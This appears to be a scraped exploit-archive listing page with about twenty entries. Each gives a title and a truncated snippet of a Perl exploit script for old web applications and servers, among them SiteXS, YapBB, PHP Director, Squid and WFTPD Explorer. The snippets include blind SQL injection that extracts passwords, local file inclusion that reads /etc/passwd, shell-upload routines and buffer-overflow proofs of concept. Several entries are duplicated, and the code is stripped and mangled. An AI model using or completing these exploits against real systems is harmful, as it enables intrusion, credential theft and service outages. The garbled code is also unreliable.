simplePMS CMS 0.1.3a LFI / Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl Script : simplePMS CMS v0.1.3a Download: http://garr.dl.sourceforge.net/sourceforge/simplepms/simplePMS-v0-1-3prealpha.tar.bz2 Remote Command Execution Exploit Also affected to multiple LFI vulnerabilities -- Needs Register Globals ON $filename no...

TPTEST 3.1.7 - Stack Buffer Overflow (PoC)

TPTEST 3.1.7 - Stack Buffer Overflow PoC !/usr/local/bin/perl TPTEST newProto="tcp",PeerAddr=$host,PeerPort=$port; if!$remdie "1\n";$rem-autoflush1; $cookie=$major=$minor="123"; $r=;print "$r";sleep 5; to attach in gdb.. if$r=/cookie=0-9/$cookie=$1; if$r=/vmajor=0-9/$major=$1;...

MemHT Portal 4.0.1 - Delete All Private Messages

!/usr/bin/perl MemHT Portal query"DELETE FROM memhtpvtmsg WHERE id=$value"; if isset$POST'deletepm' foreach $POST'deletepm' as $value $dblink-query"DELETE FROM memhtpvtmsg WHERE id=$value"; ? ok then foreach $POST'deletenewpm' as $value deletenewpm= $value ; so if we send a evil code like this: 1...

Hedgehog-CMS 1.21 (LFI) Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl |----------------------------------------------------------------------------------------------------------------------------------| | INFORMATIONS |...

Squid Denial Of Service

!usr/bin/perl -w Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0478 http://www.securityfocus.com/bid/33604/discuss $$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$ $$$$$Author will not bare any responsibility for any damages...

PHP Director <= 0.21 Remote Command Execution Exploit

Exploit for unknown platform in category web applications ===================================================== PHP Director ". "\n+ Ex. : perl $0 localhost /PHPDirector /opt/lampp/htdocs/PHPDirector". "\n+ Notes : must be the same directory where CMS is hosted". "\n\n"; exit ; sub sendshell my...

PHP Director 0.21 Command Execution

--+++===================================================================+++-- --+++====== PHP Director ". "\n+ Ex. : perl $0 localhost /PHPDirector /opt/lampp/htdocs/PHPDirector". "\n+ Notes : must be the same directory where CMS is hosted". "\n\n"; exit ; sub sendshell my $host, $path, $discpath...

Squid < 3.1 5 - HTTP Version Number Parsing Denial of Service

!usr/bin/perl -w Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0478 https://www.securityfocus.com/bid/33604/discuss $$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$ $$$$$Author will not bare any responsibility for any damages...

Simple PHP News 1.0 - Remote Command Execution

!/usr/bin/perl ----------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------- App = Simple PHP News 1.0 Final Downl = http://www.hotscripts.com/jump.php?listingid=66376&jumptype=1 Remote...

YapBB &lt;= 1.2 (forumID) Blind SQL Injection Exploit

No description provided by source. --+++======================================================+++-- --+++====== YapBB = 1.2 Blind SQL Injection Exploit ======+++-- --+++======================================================+++-- !/usr/bin/perl use strict; use warnings; use IO::Socket; sub usage d...

Free Download Manager 2.5/3.0 (Authorization) Stack BOF PoC

Exploit for unknown platform in category dos / poc =========================================================== Free Download Manager 2.5/3.0 Authorization Stack BOF PoC =========================================================== !usr/bin/perl -w Stack-based buffer overflow in Remote Control Serve...

YapBB <= 1.2 (forumID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM "...

TxtBlog 1.0 Alpha - Remote Command Execution

!/usr/bin/perl ----------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------- App = TxtBlog v 1.0 Alpha Downl = http://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip Remote Command...

WFTPD Explorer Pro 1.0 - Remote Heap Overflow

WFTPD Explorer Pro 1.0 - Remote Heap Overflow !/usr/bin/perl WFTPD Explorer Pro 1.0 Remote Heap Overflow Exploit --------------------------------------------------- Exploit by SkD [email protected] This is a remote heap overflow exploit for WFTPD Explorer Pro 1.0 by Texas Imperial Software...

WFTPD Explorer Pro 1.0 - Remote Heap Overflow

!/usr/bin/perl WFTPD Explorer Pro 1.0 Remote Heap Overflow Exploit --------------------------------------------------- Exploit by SkD [email protected] This is a remote heap overflow exploit for WFTPD Explorer Pro 1.0 by Texas Imperial Software. Vendors website = http://www.wftpd.com Tested on...

Personal Site Manager 0.3 - Remote Command Execution

--+++===========================================================================+++-- --+++====== Personal Site Manager shell.php"; shell.php will be delete, it won't leave any trace about exploit's run print SHELL ""; close SHELL; my $url = "http://$hostname$path/psm/uploadfile.php?submit=banane...

SiteXS 0.1.1 Local File Inclusion

--+++==========================================================+++-- --+++====== SiteXS ". "\n+ Ex. : perl $0 localhost /SiteXS /etc/passwd". "\n+ Notes : Have fun\n\n"; my $host, $path, $file = @ARGV; usage if !$file; my $sock = new IO::Socket::INET PeerHost = $host, PeerPort = 80, Proto = "tcp"...

SiteXS CMS 0.1.1 - Local File Inclusion

SiteXS CMS 0.1.1 - Local File Inclusion --+++==========================================================+++-- --+++====== SiteXS ". "\n+ Ex. : perl $0 localhost /SiteXS /etc/passwd". "\n+ Notes : Have fun\n\n"; my $host, $path, $file = @ARGV; usage if !$file; my $sock = new IO::Socket::INET PeerHo...

SiteXS <= 0.1.1 (type) Local File Inclusion Exploit

Exploit for unknown platform in category web applications =================================================== SiteXS ". "\n+ Ex. : perl $0 localhost /SiteXS /etc/passwd". "\n+ Notes : Have fun\n\n"; my $host, $path, $file = @ARGV; usage if !$file; my $sock = new IO::Socket::INET PeerHost = $host,...

SiteXS CMS 0.1.1 - Local File Inclusion

--+++==========================================================+++-- --+++====== SiteXS ". "\n+ Ex. : perl $0 localhost /SiteXS /etc/passwd". "\n+ Notes : Have fun\n\n"; my $host, $path, $file = @ARGV; usage if !$file; my $sock = new IO::Socket::INET PeerHost = $host, PeerPort = 80, Proto = "tcp"...